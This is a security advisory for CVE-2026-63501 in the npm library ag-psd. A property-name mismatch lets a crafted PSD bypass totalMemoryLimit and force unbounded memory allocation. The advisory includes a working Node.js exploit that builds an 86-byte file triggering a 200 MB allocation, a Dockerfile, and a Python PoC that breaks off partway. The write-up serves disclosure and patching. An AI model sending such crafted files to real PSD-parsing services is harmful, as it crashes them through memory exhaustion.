Advisory

GHSA-6w3r-6hpr-hp6p

Also known as: CVE-2026-63501

Summary

ag-psd: Uncontrolled Memory Allocation in PSD Layer Decoding (totalMemoryLimit bypass)

Details

Summary
The readPsd() function in ag-psd accepts a totalMemoryLimit option to cap memory usage when parsing untrusted PSD files, but this limit is never forwarded to the layer image buffer allocation path. A property name mismatch (totalMemoryLimit vs. memoryLimit) causes the size guard inside createImageDataBitDepth to be skipped unconditionally. An attacker who can supply a crafted PSD to any application using ag-psd for server-side parsing can force an unbounded heap allocation — a 5000×5000 layer in a 86-byte file allocates 200 MB — leading to denial of service through process memory exhaustion regardless of what limit the caller specified.

Details
readPsd() (exported from src/index.ts:22) wraps caller-supplied bytes in a PsdReader object that inherits ReadOptions, which defines totalMemoryLimit?: number (src/psd.ts:1819). A default of 2 GB is written into the reader at src/psdReader.ts:237.

When the parser reaches a layer, it calls decodeLayerImageData(layer, reader) at src/psdReader.ts:568-569, passing the reader object directly as the second argument. The decodeLayerImageData function signature is:

// src/psdReader.ts:639-642
function decodeLayerImageData(layer: Layer, options: {
    useImageData?: boolean,
    throwForMissingFeatures?: boolean,
    memoryLimit?: number   // ← expects "memoryLimit", not "totalMemoryLimit"
}) {
    const imageData = getDataFromLayer(layer, ..., options.memoryLimit);

Because reader has totalMemoryLimit but not memoryLimit, options.memoryLimit evaluates to undefined. This value is passed down to createImageDataBitDepth at src/psdReader.ts:684:

// src/psdReader.ts:671-684
const layerWidth  = (layer.right  || 0) - (layer.left || 0);
const layerHeight = (layer.bottom || 0) - (layer.top  || 0);
// ...
imageData = createImageDataBitDepth(layerWidth, layerHeight, bitsPerChannel, 4, memoryLimit);

Inside createImageDataBitDepth, the size guard at src/psdReader.ts:861-864 is:

const sizeInBytes = width * height * channels * Math.max(1, bitDepth / 8);
if (memoryLimit !== undefined && sizeInBytes > memoryLimit) throw new Error('Exceeded memory limit');

Because memoryLimit is undefined, the condition is always false. The allocation proceeds unconditionally at src/psdReader.ts:872:

return new Uint16Array(width * height * channels);   // attacker-controlled size

A secondary unbounded allocation exists at src/psdReader.ts:1138-1139, where inflateSync(compressed) decompresses ZIP-encoded channel data without any cap on the output size, enabling a similar DoS via ZIP bomb payloads.

PoC

Environment setup

# Clone and build ag-psd at the affected commit
git clone https://github.com/Agamnentzar/ag-psd.git
cd ag-psd
git checkout e64f0c96a5b8f9ea7c79599d08bbcfc57345b781
npm ci
npm run build

Build and run with Docker (self-contained)

# From the report directory (containing vuln-001/ and repo/)
docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile .
docker run --rm -e APP_DIR=/app -e RESULT_DIR=/tmp ag-psd-vuln-001

Manual reproduction (Node.js inline)

// save as exploit.js and run: node exploit.js
require('./initialize-canvas');
const { readPsd } = require('./dist');

const u16 = n => { const b = Buffer.alloc(2); b.writeUInt16BE(n); return b; };
const i16 = n => { const b = Buffer.alloc(2); b.writeInt16BE(n); return b; };
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n); return b; };
const i32 = n => { const b = Buffer.alloc(4); b.writeInt32BE(n); return b; };
const sec = (buf, r = 1) => Buffer.concat([u32(buf.length), buf, Buffer.alloc((r - buf.length % r) % r)]);

const w = 5000, h = 5000;
// Layer record: top=0, left=0, bottom=5000, right=5000, 0 channels, blending info, extra=0
const layer = Buffer.concat([
    i32(0), i32(0), i32(h), i32(w),
    u16(0),
    Buffer.from('8BIMnorm'),
    Buffer.from([255, 0, 0, 0]),
    u32(0),
]);
// PSD header: sig, version=1, reserved, channels=3, height=1, width=1, depth=16, colorMode=RGB
const psd = Buffer.concat([
    Buffer.from('8BPS'), u16(1), Buffer.alloc(6),
    u16(3), u32(1), u32(1), u16(16), u16(3),
    sec(Buffer.alloc(0)),              // ColorModeData
    sec(Buffer.alloc(0)),              // ImageResources
    sec(sec(Buffer.concat([i16(1), layer]), 2)),  // LayerAndMaskInfo
    u16(0), Buffer.alloc(6),           // ImageData (raw, minimal)
]);

const before = process.memoryUsage();
const out = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 });
const after = process.memoryUsage();

console.log('PSD_BYTES=' + psd.length);                                      // 86
console.log('LAYER_IMAGE_BYTES=' + out.children[0].imageData.data.byteLength); // 200000000
console.log('ARRAYBUFFER_DELTA=' + (after.arrayBuffers - before.arrayBuffers)); // 200000000

Expected output

PSD_BYTES=86
TOTAL_MEMORY_LIMIT_OPTION=1024
LAYER_IMAGE_BYTES=200000000
ARRAYBUFFER_DELTA=200000000
RSS_BEFORE_KB=55052
RSS_AFTER_KB=250508
VULN_001_EXPLOITED=true
PASS: totalMemoryLimit=1024 was bypassed; allocated 200000000 bytes in a single layer image buffer

A 1 KB totalMemoryLimit is completely ignored; a 190 MB buffer is allocated from an 86-byte PSD file.

Impact

This is a Denial of Service (DoS) vulnerability. Any application that uses ag-psd to parse PSD files supplied by external users — such as web services offering PSD preview, conversion, or editing — is vulnerable. An unauthenticated remote attacker can send a single crafted PSD file (as small as 86 bytes) to exhaust process heap memory, causing the Node.js process to crash or be killed by the OS OOM killer. The totalMemoryLimit option, which is the only documented defense against this class of attack, is silently non-functional due to the property name mismatch. No authentication, credentials, or special privileges are required. The bug lies on the default parser path and is triggered whenever layer decoding is enabled (the default).

Reproduction artifacts

Dockerfile

FROM node:20-bullseye-slim

# Install build dependencies for native canvas module
RUN apt-get update && apt-get install -y \
    python3 \
    make \
    g++ \
    pkg-config \
    libcairo2-dev \
    libpango1.0-dev \
    libjpeg-dev \
    libgif-dev \
    librsvg2-dev \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the ag-psd repository
COPY repo/ /app/

# Install dependencies and build TypeScript
RUN npm ci && npm run build

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

# Install Python 3 (already available in bullseye)
RUN python3 --version

# Default command: run the PoC
CMD ["python3", "poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Uncontrolled Memory Allocation in ag-psd PSD Layer Decoding
(CWE-770 / totalMemoryLimit bypass via property name mismatch)

Attack summary:
  readPsd(buffer, { totalMemoryLimit: 1024 }) is called with a 1 KB limit.
  Internally, decodeLayerImageData(layer, reader) is called where `reader`
  carries `totalMemoryLimit` but the function expects `memoryLimit`.
  Because options.memoryLimit === undefined the size check is bypassed and a
  5000x5000x4-channel Uint16Array (200 MB) is allocated from an 86-byte PSD.
"""

import struct
import subprocess
import sys
import os
import json

# ---------------------------------------------------------------------------
# Build a minimal valid 16-bit PSD with one 5000x5000 layer
# ---------------------------------------------------------------------------

def u16be(n: int) -> bytes:
    return struct.pack(">H", n)

def i16be(n: int) -> bytes:
    return struct.pack(">h", n)

def u32be(n: int) -> bytes:
    return struct.pack(">I", n)

def i32be(n: int) -> bytes:
    return struct.pack(">i", n)

def length_prefixed(data: bytes, align: int = 1) -> bytes:
    """Encode as 4-byte-length-prefixed section, padded to alignment."""
    pad = (align - len(data) % align) % align
    return u32be(len(data)) + data + b"\x00" * pad

def build_psd(width: int = 5000, height: int = 5000) -> bytes:
    """
    Build the smallest PSD that triggers the vulnerability:
    - 16-bit depth (bitsPerChannel=16) forces Uint16Array allocation
    - layer bounds set to [top=0, left=0, bottom=height, right=width]
    - totalMemoryLimit: 1024 bytes in readPsd options will be bypassed

    Resulting allocation: width * height * 4 channels * 2 bytes = 200 MB
    """
    # Layer record (28 bytes header + name/blending/channel-info)
    layer_record = b"".join([
        i32be(0),            # top
        i32be(0),            # left
        i32be(height),       # bottom

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-11-09 21:08 UTC
Modified
2026-11-09 21:15 UTC

Affected packages and fixes

ag-psd

npm · All systems

Affected

  • introduced 0, fixed 31.0.1 (semver)

Fixed versions

31.0.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences